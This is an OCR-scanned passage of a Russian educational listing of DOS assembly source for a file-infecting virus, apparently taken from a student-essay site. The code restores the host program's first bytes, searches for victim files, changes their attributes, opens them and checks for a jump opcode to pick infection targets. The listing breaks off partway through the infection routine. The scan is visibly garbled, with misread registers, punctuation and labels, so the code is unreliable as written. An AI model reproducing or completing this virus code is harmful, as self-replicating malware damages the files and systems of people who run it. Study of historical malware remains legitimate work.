восстанавливаем первые три байта исходной
call MySelf
MySelf:
pop bp
восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al
[Дальнейшая задача вируса - найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First:
.Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx.offset fname-offset myself
add dx.bp
mov cx,00100111b
int 21 h
;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
attributes:
.Читаем оригинальные атрибуты файла
mov ax,4300h
mov dx,9Eh .Адрес имени файла
int 21 h
.Сохраняем оригинальные атрибуты файла
push ex
•.Устанавливаем новые атрибуты файла
mov ax,4301h
mov dx,9Eh .Адрес имени файла
mov cx,20h
int 21 h
Переходим к открытию файла
jmp Open
;Ищем следующий файл, так как предыдущий не подходит
FincLNext:
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh ;Адрес имени файла
pop сх
int 21 h
[Закрываем файл
mov ah,3Eh
int 21 h
;Ищем следующий файл
mov ah,4Fh
int 21 h
;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
.-Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21 h
;Если при открытии файла ошибок не произошло -
.переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx.ax
mov ah,3Fh
mov dx.offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21 h
.Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла -
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
; Переходим в начало файла
mov ax,4200h
Forekc.ru
Рефераты, дипломы, курсовые, выпускные и квалификационные работы, диссертации, учебники, учебные пособия, лекции, методические пособия и рекомендации, программы и курсы обучения, публикации из профильных изданий